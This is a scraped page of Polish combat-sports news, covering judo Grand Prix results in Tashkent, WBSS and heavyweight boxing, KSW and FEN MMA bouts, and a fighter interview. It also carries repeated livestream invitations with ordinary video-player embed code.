W kategorii +78kg triumfowała brązowa medalistka olimpijska z Rio de Janeiro Anamari Velensek. Reprezentantka Słowenii wygrała finałowy bój z Gulzhan Issanovą. Wicemistrz Afryki najlepszy w zmaganiach w kategorii do 100kg. Ramadan Darwish z Egiptu wygrał trzy walki, w decydującej pokonał Rosjanina Niyaza Ilyasova. 27-letni Or Sasson (+100kg) sięgnął po złoto odprawiając kolejnych rywali. W decydującym starciu reprezentant Izraela okazał się lepszy od Iuria Krakovetskiego.
Izrael najlepszy
W zawodach Grand Prix w Taszkiencie zaprezentowało się 181 zawodników, w tym 91 pań i 90 panów. Tylko w kategorii +78kg startowało mniej niż dziesięciu zawodników (dokładnie 9).
Triumf w klasyfikacji medalowej zanotował Izrael. Reprezentanci państwa położonego na wschodnim brzegu Morza Śródziemnego zdobyli pięć medali, w tym trzy złote (najwięcej) i po jednym srebrnym i brązowym. Najlepsi w swoich kategoriach okazali się: Sagi Muki (81kg), Or Sasson (+100kg) i Betina Temelkvoa (52kg), która w finale wygrała z Agatą Perenc. Drugie miejsce w klasyfikacji medalowej dla Uzbekistanu (12 krążków – 1, 2, 9), z kolei trzeci byli reprezentanci Mongolii (4 krążki – 1, 2, 1).
fot. PZJudo
KM
Anna Borowska (57kg) triumfowała w Grand Prix w Taszkiencie. To trzecie tegoroczne zwycięstwo naszej judoczki. O krok od triumfu była Agata Perenc (52kg), która w tym finale przegrała z Betiną Temelkovą z Izraela.
Siedem to liczba symbolizująca całość, dopełnienie, oznacza również pełnię i doskonałość. Właśnie tylu naszych judoków pojechało do Taszkientu. Biało-czerwoni mieli dobre otwarcie turnieju za sprawą wywalczenia dwóch medali.
Smak złota
Anna Borowska z roku na rok prezentuje się coraz lepiej. Zawodniczka Kejza Team Rybnik w tym sezonie czterokrotnie stanęła już na podium międzynarodowych zawodów, w tym trzy razy na najwyższym jego stopniu. Rok temu taka sytuacja miała miejsce trzykrotnie (jedno zwycięstwo).
Starty w 2017 roku Borowska rozpoczęła od występu w Pucharze Świata w Pradze. Reprezentantka Polski stoczyła pięć zwycięskich walk. W decydującej okazała się lepsza od Holenderki Margriety Bergstry. Potem był Puchar Świata w Casablance, gdzie Borowska postanowiła pójść za ciosem. Zawodniczka wygrała cztery walki, a w finale uporała się Sarą Harachi. Na podium Polka stanęła jeszcze w Pucharze Europy w Mińsku, była trzecia. A potem były mistrzostwa świata w Budapeszcie, gdzie Borowska przegrała w walce eliminacyjnej z Marti Malloy. W Taszkiencie 23-latka udowodniła, że wcześniejsze dobre starty nie były dziełem przypadku. Borowska wygrała cztery pojedynki. W finale pokonał siódmą zawodniczkę tegorocznych mistrzostw świata Timnę Nelson Levy.
Agata Perenc (52kg) po raz trzeci w tym roku stanęła na podium w międzynarodowych zawodach. 27-latka zapisała na swoim koncie triumf w Pucharze Europy w Bukareszcie i zajęła trzecie miejsce w Pucharze Europy w Mińsku. W Taszkiencie Perenc szła jak burza. Wygrała trzy walki niezwykle szybko i efektownie. Polka rozłożyła na łopatki Ki Shuk Tsui, Aigunim Tuitekovą i Ariel Bezalel. W finale Perenc musiała uznać wyższość Betiny Temelkovej. 20-letnia reprezentantka Izraela to tegoroczna wicemistrzyni Europy juniorek.
Kolejny medal o krok
Karolina Pieńkowska (52kg) walczyła dzielnie, ale nie udało jej się powtórzyć wrześniowego sukcesu z Bratysławy i sięgnąć po brązowy medal. Rywalizację w Taszkiencie rozpoczęła od zdecydowanego zwycięstwa z Oysuluv Abdumajidovej. Później musiała sprostać agresywnie walczącej Tsolmon Adiyasambuu. W półfinale Pieńkowska przegrała z późniejszą triumfatorką Temelkovą. Polce pozostała walka o brąz, jednak z doświadczoną Petrą Nareks, która ostatnio na podium stała ponad dwa lata temu.
Jakub Kubieniec (81kg) wygrał jedną walkę. Po porażce z Faganem Guluzadą trafił do repasaży, gdzie sobie nie poradził. Ostatecznie Polak został sklasyfikowany na siódmym miejscu.
Szybko z rywalizacją pożegnali się Karolina Tałachh (63kg) i Damian Stępień (81kg). W Taszkiencie zaprezentuje się jeszcze Beata Pacut (78kg).
Fot. IJF/PZJudo
KM
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Tashkent. Zapraszamy!!!
[kod]
Final block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Tashkent. Zapraszamy!!!
[kod]
Finalblock
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Tashkent. Zapraszamy!!!
[kod]
Final block
Eliminations
Cztery pojedynki World Boxing Super Series za nami, a jeszcze cztery przed nami. Już 7 października w Stuttgarcie starcie w wadze super średniej pomiędzy Chrisem Eubankiem Jr. a Avnim Yildrim.
Tydzień po tygodniu odsłaniane są kolejne karty w rywalizacji o miano najlepszego boksera w kategorii junior ciężkiej i super średniej.
Pierwsza para półfinałowa zmiana
Oleksandr Usyk oraz Mairis Briedis mogą już dokładnie analizować swoje słabe strony i szykować się do walki. To właśnie Ukrainiec i Łotysz stworzą pierwszą parę półfinałową turnieju WBSS w kategorii junior ciężkiej. Tydzień temu w Rydze Breidis pierwszy raz stanął do obrony mistrzowskiego pasa WBC. 32-latek spotkał się z Mike'm Perezem, który wrócił na ring po dłuższej przerwie i zamienił wagę ciężką na junior ciężką. W debiucie pokonał Viktora Biscaka, ale w Rydze stanął przed trudnym zadaniem. Walka nie należała do tych z najwyższej półki, ale Łotysz wyprowadzał więcej ciosów. Podczas pojedynku nie brakowało gorących momentów w postaci… pyskówek z sędzią. Breidis wygrał jednogłośnie na punkty – 116:110, 115:111 i 114:112.
Ale w półfinale WBSS mistrz świata WBC nie będzie miał łatwego zadania. Łotysz spotka się z czempionem WBO Oleksandrem Usykiem, który uchodzi za zdecydowanego faworyta turnieju. Ukrainiec otworzył WBSS w fenomenalny sposób. Usyk znokautował w dziesiątej rundzie Marco Hucka, czym potwierdził fantastyczną formę. 30-latek wygrał 11 (na 13) w karierze przed czasem.
Na półfinałowego rywala czeka również Yunier Dorticos, który w ćwierćfinale już w drugiej rundzie znokautował Rosjanina Dmitrija Kudriaszowa potężnym prawym prostym. Przeciwnikiem Kubańczyka będzie zwycięzca rywalizacji pomiędzy Muratem Gassijewem a Krzysztofem Włodarczykiem. Pojedynek odbędzie się 21 października.
Druga odsłona
7 października w Stuttgarcie dojdzie dopiero do drugiego starcia ćwierćfinałowego w wadze super średniej. Wcześniej rywalizowali jedynie Callum Smith i Erik Skoglund. Lepszy okazał się Brytyjczyk, który w Liverpoolu wygrał na punkty.
Za faworyta najbliższego starcia uchodzi Chris Eubank jr. Mistrz federacji IBO typowany jest do końcowego triumfu, a do turnieju WBSS zakwalifikował się dzięki wygranej w starciu z Arthurem Abrahamem. 28-letni Eubank jr. będzie musiał się mieć na czujności, bo Avni Yildirim jeszcze nigdy nie przegrał. Brytyjczyk jest pewny swego. – Jestem przyszłością boksu. W sobotę pokonam Yildirima nazywanego tureckim Rambo – zapewnia Eubank Jr.
Kolejny ćwierćfinał WBSS odbędzie się 14 października. Na Wembley Arenie czempion WBA George Groves zmierzy się niepokonanym Jamie'm Coxem. Ćwierćfinałową rywalizację zamknie starcie doświadczonego Jurgena Brahmera z Robem Brantem, które zaplanowano na 27 października.
Fot. pixabay
KM
SPORTS NEWS PZKB: Zapraszamy do obejrzenia pierwszego w historii wydania Newsów PZKB.
[kod]
Praktycznie wszystko jest już gotowe. Gala KSW 40 w Dublinie już 22 października, karta walk niemalże wypełniona. Jednak w ostatnich dniach na ustach wszystkich znalazła się walka Pawła „Popka” Raka z Tomaszem „Strachem” Oświecińskim. Czy gala KSW 40 nie znajdzie się w cieniu planowanego pojedynku celebrytów?
KSW 40 ma być kolejnym wielkim wydarzeniem polskiej organizacji. Było Wembley, potem PGE Narodowy, a teraz wojownicy zaprezentują się na 3Arena w Dublinie.
Twarzą w twarz
Na początku września do kibiców MMA dotarła informacja o podpisaniu umowy z KSW przez aktora Tomasz Oświecińskiego. 44-latek popularność zyskał dzięki roli „Stracha” w filmach „Pitbull”. Dał się poznać publiczności jako „kawał chłopa”, który ma „parę w łapie” i „pakuje na siłce”. To filmowy obraz, ale 44-latek długo pracował., żeby mieć odpowiednią posturę. Oświeciński to trener personalny, który również potrafi przyłożyć. Doświadczenie zbierał… w walkach ulicznych. Tomasz Oświeciński ma barwny życiorys, a teraz będzie miał okazję dopisać do niego kolejny rozdział.
Natychmiast ruszyły spekulacje, kto będzie pierwszym rywalem „Stracha”. KSW postanowiło odsłonić karty. Oświeciński zmierzy się z Pawłem „Popkiem” Rakiem. Kiedy? Tego jeszcze nie wiadomo, choć prawdopodobnym terminem jest planowana na grudzień gala KSW 41. Organizacja postanowiła budować napięcie wokół walki celebrytów, którzy pojawią się w Dublinie. W stolicy Irlandii „Strachu” i „Popek” staną twarzą w twarz.
Dla popularnego rapera starcie z aktorem będzie trzecim pojedynkiem w KSW. Ostatnio „Popek” pokonał Roberta Burneikę, wcześniej zaś przegrał z Mariuszem Pudzianowskim. Oświeciński wytrwale szykuje się do debiutu w KSW. „Popek” i „Strachu” mają razem 82 lata, więc ich starcie będzie spotkaniem podstarzałych lisów. Nikt nie odmawia im werwy ani umiejętności stworzenia widowiska, jednak na poziomie sportowym można mieć zastrzeżenia.
Co istotne, KSW wypuściło w świat informację o walce celebrytów na ostatniej prostej przed galą w Dublinie. Czy to dobrze? Zapewne kibice dopiszą i będą śledzić galę, ale teraz wszyscy z zapartym tchem czekają na termin walki „Popka” i „Stracha”. Choć jeszcze nie weszli do oktagonu, już skradli show. W Dublinie wszyscy będą czekali na „face to face” Raka i Oświecińskiego. A to nie oni będą najważniejsi w kontekście gali KSW 40.
Coraz mniej niewiadomych
W Dublinie zaprezentuje się Łukasz Chlewicki, który w starciu wagi lekkiej zmierzy się z Paulem Redmondem. 38-letni „Sasza” przegrał przed czasem dwie ostatnie walki w KSW. Irlandczyk ostatnio pokonał Roba Sinclaira na BAMMA 30. Dotychczas 30-latek wygrał 12 z 19 walk.
Z kolei Ariane Lipski pasa KSW w wadze muszej będzie broniła w starciu z Marianie Morais. W Dublinie zaprezentuje się Michał Fijałka. 33-latek zmierzy się z doświadczonym Chrisem Fieldsem.
Kolejny raz Norman Park postara się odebrać pas wagi lekkiej Mateuszowi Gamrotowi. W walce wieczoru wystąpią Mariusz Pudzianowski i James McSweeney.
Fot. KSW
KM
„A miało być tak pięknie”. Jesień fanom boksu miała umilić rywalizacja niepokonanych pięściarzy kategorii królewskiej Deontaya Wildera i Luisa Ortiza. Pozytywny wynik badań antydopingowych Kubańczyka przekreślił te plany.
Wokół pojedynku było niezwykle gorąco. Blisko dwa tygodnie temu mistrz WBC Deontay Wilder apelował do Ortiza, aby ten nie brał dopingu. Przewidział wydarzenia… Co teraz?
Kolejny grzech Ortiza
11 września 2014, Hard Rock Hotel and Casino w Las Vegas. Luis Ortiz w pierwszej rundzie położył na deski Lateefa Kayode i sięgnął po tymczasowy pas mistrza świata WBA. Radość „King Konga” nie trwała jednak długo. Kilka dni później okazało się, że test antydopingowy wykonany po walce dał wynik pozytywny. Kubańczyk stosował nandrolon. Luis Ortiz przekonywał komisję stanu Nevada, że nie zna specyfiku, ale nikt mu nie uwierzył. Walkę z Kayode uznano za nieodbytą, a Ortiz musiał oddać 10 procent wynagrodzenia za pojedynek i został zawieszony na dziewięć miesięcy.
Na ring bokser urodzony w Camaguey wrócił 20 czerwca 2015 roku. W Montrealu pokonał przed czasem Byrona Polley'a, a cztery miesiące później ponownie walczył o tymczasowy pas WBA. Kubańczyk pokonał w trzeciej rundzie Matiasa Ariel Vidondo i sięgnął po tytuł. Ortiz wygrał cztery kolejne walki, co pozwoliło mu aspirować do rywalizacji o najwyższe laury. Dostał szansę, już wszystko było gotowe, scena czekała, ale… Stare grzechy powróciły. Tym razem Kubańczyk miał stosować niedozwolone środki celem obniżenia ciśnienia krwi.
Były promotor Ortiza Eddie Hearn nazywa pięściarza „idiotą”. Obóz Kubańczyka broni się, a sam bokser twierdzi, że jest czysty. Marzenia o walce tytanów wagi ciężkiej „prysły niczym bańka mydlana”. Wilder może załamywać ręce. To kolejny przypadek, że jego rywal został przyłapany na dopingu. Wcześniej z tego powodu nie doszło do starcia Amerykanina z Andrzejem Wawrzykiem i Aleksandrem Powietkinem. Sam mistrz WBC podkreśla swoją gotowość do rywalizacji z Ortizem. Jeśli nie dojdzie do tego starcia, Wilder chce walczyć 4 listopada z innym rywalem.
Stiverne?
Ostatni pojedynek Deontay Wilder stoczył w lutym w Birmingham, gdzie uporał się z Geraldem Washingtonem. Amerykanin ponownie chciałby wejść do ringu. 4 listopada Wilder mógłby spotkać się w rewanżowym starciu z Bermane Stivernem. To jemu w styczniu 2015 roku Amerykanin odebrał pas WBC.
Z tym, że blisko 39-letni bokser urodzony na Haiti na 4 listopada ma zaplanowaną walkę z Dominikiem Breazealem. Wiele wskazuje na to, że ten ostatni mógłby wtedy rywalizować z Dillianem Whyte'm. Z kolei Stiverne jest obowiązkowym pretendentem do pasa WBC, więc nadarza się znakomita okazja, aby ponownie spotkać się z Wilderem. Na rozwój wypadków trzeba poczekać.
Fot. skysports.com
KM
PREMIERA: Zapraszamy do obejrzenia premierowego trzeciego odcinka programu z serii PZKB TV. Tym razem gośćmi są Dorota Godzina – zawodniczka oraz Łukasz Wabnic – Członek Zarządu PZKB.
[kod]
PREMIERA: Zapraszamy do obejrzenia czwartego odcinka programu z serii PZKB TV. Tym razem gośćmi są Piotr Siegoczyński – Prezes Zarządu PZKB oraz Łukasz Wabnic – Członek Zarządu PZKB.
[kod]
Zapraszamy do oglądania transmisji telewizyjnej na żywo z 14th World Wushu Championships, które odbywają się w Kazaniu w Rosji.
[kod]
Live broadcast 1
Live broadcast 2
Zapraszamy do oglądania transmisji telewizyjnej na żywo z 14th World Wushu Championships, które odbywają się w Kazaniu w Rosji.
[kod]
Live broadcast 1
Live broadcsast 2
Zapraszamy do oglądania transmisji telewizyjnej na żywo z 14th World Wushu Championships, które odbywają się w Kazaniu w Rosji.
[kod]
Live broadcast 1
Live broadcast 2
Zapraszamy do oglądania transmisji telewizyjnej na żywo z 14th World Wushu Championships, które odbywają się w Kazaniu w Rosji.
[kod]
Semi finals
Live broadcast 1
Live broadcast 2
Zapraszamy do oglądania transmisji telewizyjnej na żywo z 14th World Wushu Championships, które odbywają się w Kazaniu w Rosji.
[kod]
Live broadcast 1
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Zagrzebiu. Zapraszamy!!!
[kod]
Final block
Elimination
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Zagrzebiu. Zapraszamy!!!
[kod]
Final block
Elimination
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand – Prix. Zawody odbywają się w Zagrzebiu. Zapraszamy!!!
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Gali Międzynarodowej Piaseczno Fight Night VI Masters Fight Series.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PiasecznoFightNight.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PiasecznoFightNight.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PiasecznoFightNight.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PiasecznoFightNight.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z finałów Otwartego Pucharu Państw Nadbałtyckich "Baltic Cup" – Sejny. Impreza odbywa się w dniach 13-15.10.2017 w formułach K-1 Rules oraz Kick Light.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/BalticCup.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/BalticCup.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/BalticCup.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/BalticCup.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Oczy miłośników judo zwrócone są w stronę Zagrzebia, który stał się areną zmagań turnieju Grand Prix. W sobotę i niedzielę w Chorwacji zaprezentuje się sześciu Polaków. Kamil Grabowski (+100kg) może trafić na legendarnego Teddy'ego Rinera, ale najpierw musi wygrać trzy walki.
Zapowiada się gorący weekend z judo w Zagrzebiu. Czy Polacy będą mieli dobre wspomnienia po starcie w Chorwacji?
Trudny początek
Przed Kamilem Grabowskim prawdziwe wyzwanie. Rywalem Polaka w starciu półfinałowym może być sam Teddy Riner. Każdy kolejny przeciwnik marzy, że będzie tym pierwszym, który powstrzyma gwiazdę judo. Mistrz olimpijski z Rio de Janeiro i Londynu wygrał ponad 130 walk z rzędu. Ale zanim Polak stanie do rywalizacji z 28-letnim mistrzem olimpijskim z Rio de Janeiro i Londynu musi spełnić kilka warunków. A dokładnie mówiąc trzy. Jednak los nie oszczędzał Polaka, który już w pierwszej walce zmierzy się z Renatem Saidovem.29-letni Rosjanin to brązowy medalista mistrzostw świata z 2014 roku z Czelabińska. Z kolei rok później był trzeci w Igrzyskach Europejskich w Baku. Świetny w wykonaniu Saidova był rok 2016, kiedy czterokrotnie stał na podium międzynarodowych imprez. Rosjanin wziął również udział w Igrzyskach Olimpijskich w Rio de Janeiro, gdzie z rywalizacją pożegnał się w drugiej rundzie przegrywając z późniejszym brązowym medalistą Rafaelem Silvą. W tym roku Saidov jeszcze nie stał na podium. Z kolei Kamil Grabowski może pochwalić się trzecim miejscem wywalczonym w Saarbruecken.
Mocnego rywala wylosował również Jakub Wójcik (100kg). Polak trafił na Ivana Remarenco, który trzy lata temu zdobył brąz mistrzostw świata w Czelabińsku. Co ważne, dla reprezentanta Zjednoczonych Emiratów Arabskich był to ostatni start, w którym stał na podium. Warto dodać, że Remarenco wystąpił rok temu w Rio de Janeiro. Start zakończył na drugiej rundzie, jego pogromcą okazał się Lyes Bouyacoub.
W Zagrzebiu zaprezentują się również: Michał Bartusik (73kg), Karol Kurzej (81kg), Damian Szwarnowiecki (81kg) oraz Tomasz Szczepaniak (90kg). Żaden z judoków w tym roku nie stał na podium w międzynarodowych zawodach. Najlepsze wyniki Kurzeja i Szczepaniaka to piąte miejsce wywalczone odpowiednio w Sarajewie i Katowicach.
Medalistów nie zabraknie
W Zagrzebiu nie zabraknie mocnych nazwisk. Na tatami zaprezentują się tegoroczni medaliści mistrzostw świata Rustam Orujov (srebro 73kg) i Elmar Gasimov (brąz 100kg) czy mistrz Europy z Warszawy Robert Mshvidobadze (60kg). Niepodważalną gwiazdą imprezy będzie jednak Teddy Riner.
W zawodach Grand Prix zaprezentuje się łącznie 294 judoczek i judoków z 47 państw.
KM
Zapraszamy do obejrzenia gali finałowej Mistrzostw Polski w kickboxingu w formule Low-Kick. Zawoy odbyły się w Kobyłce k/ Warszawy.
[kod]
Zapraszamy do obejrzenia meczu kickboxingu w formule Kick-Light, który odbył się 22 września 2017 r. w Gdańsku. Reprezentacja Polski wygrała 6:3.
[kod]
Artur Szpilka miał jeszcze raz w tym roku wejść do ringu. Jednak tak się nie stanie. Wszystko przez bakterię gronkowca, która eliminuje boksera z jakichkolwiek zajęć. Szpilka ponownie otrzymał ofertę walki od Marcina Najmana.
Popularny „El Testosteron” nie ustaje w próbach i próbuje namówić pięściarza z Wieliczki. Na Szpilkę miałaby podziałać magia warszawskiego stadionu PGE Narodowy.
Problemy Szpilki
W ostatnim czasie były pretendent do pasa WBC wagi ciężkiej nie ma powodów do radości. Po przegranym starciu z Wilderem, na kolejne przyszło mu czekać półtora roku. W Nassau Coliseum w Uniondale Szpilka został rozbity w czwartej rundzie przez Adama Kownackiego. Akcje 28-latka zdecydowanie spadły. Szpilka miał jeszcze w tym roku stoczyć walkę na odbudowanie i zaprezentować się przed rodzimą publicznością.
Mówiło się, że w grudniu pogromca Tomasza Adamka w końcu spotka się z Krzysztofem Zimnochem. Jednak plany trzeba odłożyć na bok. Teraz najważniejsze jest zdrowie Szpilki. Pięściarz ma za sobą zabieg lewej ręki, ale w jego organizmie pojawiła się bakteria gronkowca, która opóźnia leczenie. Szpilka musi przyjmować leki i cierpliwie czekać aż w pełni się wyleczy.
Podczas regeneracji, „Szpila” ma nad czym myśleć. Były pretendent do tytułu WBC otrzymał propozycję walki od Marcina Najmana. – Arturze Szpilka, w świetle ostatnich wydarzeń, czyli odwołania ci po raz kolejny walki, ponawiam propozycje stoczenia pojedynku ze mną 26 maja na PGE Narodowym podczas Boxing Night 14 „The Legend” (pisownia oryginalna) – napisał na swoim profilu na Facebooku „El Testosteron”.
Dlaczego nie?
To nie pierwsza propozycja Najmana skierowana do Szpilki. W lipcu 38-latek wyraził zrozumienie dla trudnego położenia młodszego o 10 lat „Szpili”. Podkreślał, że był w podobnej sytuacji i podniósł się. Najman skierował do Szpilki „pomocną dłoń”, jednak ten nie zareagował.
38-latek podjął kolejną próbę i zapewnia pięściarza z Wieliczki, że ten może liczyć na solidną gażę, a występ na PGE Narodowym byłby wyjątkowym doświadczeniem. – Jeżeli, faktycznie czujesz się ode mnie lepszy, to co stoi na przeszkodzie? Mojego Wspólnika stać na to by zapłacić Ci porządną gaże, a mnie stać na to by wypłacić Ci prawego cepa. Nie daj się prosić i namawiać. Jesteśmy bokserami. To nasza robota. Wejdźmy do ringu i dajmy kibicom wielkie emocje. Potraktuj to jako szanse na powrót. Na pięknym Stadionie i świetnej gali. Trzeci raz proponował już nie będę. Pozdrawiam Cie i życzę Ci abyś uporał się z gronkowcem – napisał Najman.
KM
W listopadzie w Barclays Center w Nowym Jorku mistrz świata wagi ciężkiej WBC Deontay Wilder zmierzy się z Luisem Ortizem. Amerykanin wierzy w swój triumf i snuje kolejne plany. 31-latek mierzy w starcie z Anthony'm Joshuą.
Starcie Bronze Bombera i King Konga zapowiada się niezwykle smakowicie. Główni aktorzy listopadowego widowiska przekonani są o swojej wielkości, co podkreślają na każdym kroku. Ring zweryfikuje ich słowa. Jeden będzie mógł świętować, drugi zazna pierwszej porażki w karierze.
Mistrz dąży do unifikacji
Nie da się ukryć, że w wadze ciężkiej zaczęło się dziać. Przez wiele lat widzowie mogli oklaskiwać braci Kliczko i patrzeć jak kolejni śmiałkowie odchodzą z niczym. Dwa lata temu nastąpiła zmiana warty. Władimir Kliczko przegrał z Tysonem Fury'm, jednak ten nie poradził sobie z problemami. Na pierwszym planie pojawił się Anthony Joshua. Jedną z głównych postaci kategorii królewskiej stał się również Deontay Wilder.
W styczniu 2015 roku Amerykanin wywalczył tytuł mistrza świata WBC pokonując na punkty Bermane Stiverne'a. Co ciekawe, to jedyna walka w karierze boksera pochodzącego z Alabamy, która zakończyła się werdyktem sędziów. Pozostałe 36 wygrał przed czasem. Dotychczas Wilder pięciokrotnie bronił pasa, posyłając na deski m.in. Artura Szpilkę. 4 listopada w Barclays Center 31-latek po raz szósty będzie bronił tytułu mistrzowskiego. Jego rywalem będzie potężny Luis Ortiz. 38-latek jeszcze nigdy nie przegrał na zawodowym ringu i stanie przed życiową szansą na zdobycie tytułu WBC. Kubańczyk podkreśla, że bije mocniej niż dotychczasowi rywale Wildera i ten powinien obawiać się starcia z nim. Oponenci zwracają jednak uwagę na wiek Ortiza i jego gabaryty, które wpływają negatywnie na jego motorykę.
Wilder przekonany jest o swojej wielkości i nie widzi nikogo mocniejszego od siebie. Chce pokonać Ortiza, a później przymierza się do starcia z innym czempionem wagi ciężkiej Anthony'm Joshuą. – Kiedy pokonam Ortiza, chcę walczyć z Joshuą – powiedział mistrz świata WBC. – Wszyscy wiedzą, że chcę unifikacji. Zrobię wszystko, żeby osiągnąć ten cel. Teraz na mojej drodze stanie Ortiz, którego muszę pokonać, aby zbliżyć się do unifikacji. Później będę czekał na kolejnych. Pokonam Ortiza, Joshua zrobi swoje z Pulewem i wtedy musimy się spotkać – dodaje Deontay Wilder.
Co u innych ciężkich mistrzów?
Zanim do ringu wejdą Wilder i Ortiz, na arenie pojawi się Anthony Joshua. 27-letni czempion stanie do pierwszej obrony wywalczonych w kwietniowym starciu z Władimirem Kliczko tytułów. Do swojego dorobku (IBF) Joshua dołożył pasy IBO i WBA. 28 października zmierzy się z Kubratem Pulewem.
Z kolei mistrz świata wagi ciężkiej WBO Joseph Parker pokonał w minioną sobotę niejednogłośnie na punkty pokonał Hughie Fury'ego. W zgodnej opinii ekspertów postawa 25-latka z Nowej Zelandii rozczarowała.
KM
Bartłomiej „Ruby” Brzeziński zadebiutuje w MMA 14 października podczas FEN 19 „Bitwa o Wrocław”. Jego rywalem będzie popularny „Arab”, czyli Gabriel Al-Sulwi. „Ruby” jest przekonany, że w stolicy Dolnego Śląska wygra i pojedynek nie potrwa pełnego dystansu trzech rund. – To nie będą szachy. Bardzo szybko wygram, chce go znokautować w pierwszej rundzie – grzmi Brzeziński.
Podczas Targów FIWE mówiłeś, że jesteś znakomicie przygotowany. Coś od tamtego czasu się zmieniło?
Ruby: Nic, absolutnie. Forma jest jeszcze lepsza, bo mam za sobą kilkanaście jednostek treningowych więcej. Jest dobrze, forma dopiero przychodzi.
Walki nie możesz się doczekać jak rozumiem.
R: Zdecydowanie. Przebieram nogami pod stołem, bo chcę walczyć już dziś. Jestem gotowy, ale czas działa tylko na moją korzyść i na pewno za dwadzieścia parę dni będę jeszcze lepszy.
Na jakim ty jesteś etapie przygotowań? Zostały trzy tygodnie, więc około pięciu powinieneś mieć już za sobą. Tak się przyjęło – do walki zawodnicy przygotowują się około ośmiu tygodni.
R: Mam więcej, bo szybciej zacząłem trenować. Biegałem, robiłem ogólnorozwojówkę. W decydującą fazę przygotowań chciałem wejść już przygotowany fizycznie do sparingów i zajęć na macie. Nie chciałem przez pierwsze tygodnie dopiero przyzwyczajać organizmu do obciążeń.
Profesjonalnie.
R: Pełen profesjonalizm. Walczę zawodowo dopiero po raz pierwszy, ale wszystko robię tak, jak robią to zawodowcy. Nie wyjdę do klatki niegotowy. Będę przygotowany.
Pytanie, na ile starczy ci tlenu.
R: Na trzy rundy po pięć minut, bo na tyle zakontraktowana jest walka. Nie myśl sobie, że ja nie wiem, jaki jest pełen dystans pojedynku. Zgodziłem się na te reguły świadomie, wiedziałem, że trzy razy pięć to piętnaście. Będę przygotowany.
Stoczyłeś już sparingi na pełnym dystansie piętnastu minut?
R: Oczywiście, że tak. Wysiłek jest ogromny, ale dawałem radę. Nigdy nie miałem problemów z kondycją. Zawsze uprawiałem sport, a od kilku lat sztuki walki. Takie zmęczenie to dla mnie nie nowość.
Mówiłeś jednak, że ten pojedynek nie potrwa trzech rund. Sędziowie nie będą wam potrzebni.
R: Nie, bo wyjdę i go znokautuję. Chciałbym w pierwszej rundzie. Zobaczymy jednak jak będzie. „Arab” powie ci pewnie to samo – wyjdę i zniszczę go na samym początku. O to chodzi w tym sporcie, to ludzie kochają, za to płacą za bilety.
Wielokrotnie podkreślałeś, że klub, trener i koledzy bardzo pomagają ci w tych przygotowaniach.
R: Bo tak jest. Naprawdę, obojętnie co się stanie w klatce, to otaczam się profesjonalistami, którzy doskonale rozumieją MMA. Bez nich by mnie tu nie było.
Zwycięzca bierze pełną pulę i może szykować się do kolejnych walk, przegranego czeka porządny rachunek sumienia – zgodzisz się z tym?
R: Tak może być. Ja wygram i będę chciał dalej walczyć. Kręci mnie MMA, lubię trenować, adrenalinę, emocję. Widzę siebie w tym sporcie w kolejnych latach.
Jak przygotować się pod przeciwnika, który nigdy nie walczył?
R: Nie jest to łatwe, bo nie mogę włączyć Youtube’a i zobaczyć czterech jego ostatnich walk. To wielka niewiadoma, ale jestem przygotowany na naprawdę różne warianty. Niczym mnie „Arab” nie zaskoczy. Ważne będą pierwsze minuty. Po nich będę wiedział, co robić i jak go zaskoczyć.
Masz w głowie plan na tę walkę?
R: Już od bardzo, bardzo dawna. Wiem, jakbym chciał, żeby ona wyglądała. Wiesz co? Ona będzie tak wyglądała. Powiedzieć nic nie mogę, ale nikt nie będzie miał prawa czuć się zawiedziony. To będzie naprawdę mój dobry występ.
Mamy to! Róża Gumienna (8-0) 14 października będzie broniła pasa mistrzowskiego FEN w kategorii do 65 kilogramów. Jej rywalką podczas „Bitwy o Wrocław” będzie Marta Waliczek (1-0-1). Starcie odbędzie się na zasadach K-1.
Gumienna wraca zatem do klatki FEN po dziewięciu miesiącach przerwy. 14 stycznia podczas 15. edycji, która odbyła się w Lubinie, zawodniczka Punchera Wrocław pewnie pokonała na pełnym dystansie Martinę Fendrichovą i została pierwszą w historii mistrzynią FEN w K-1. – – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław” – powiedział Paweł Jóźwiak, prezes FEN.
Marta Waliczek we Wrocławiu zadebiutuje w klatce FEN, ale w K-1 stoczy już swój trzeci pojedynek. Jak do tej pory na swoim koncie ma wygraną oraz remis. Waliczek to świeżo upieczona złota medalistka The World Games, które w lipcu tego roku odbyły się we Wrocławiu. Trenująca na co dzień w DAAS Berserkers Team Bielsko-Biała zawodniczka nie miała sobie równych w Kick-boxingu w kategorii do 61 kilogramów. W przeszłości Waliczek przez 10 lat trenowała karate, w którym została mistrzynią świata i zdobyła czarny pas.
Starcie zapowiada się o tyle imponująco, gdyż zmierzą się ze sobą dwie niezwykle utalentowane zawodniczki, które marzą o tym, by w przyszłości święcic wiele sukcesów pod szyldem federacji FEN.
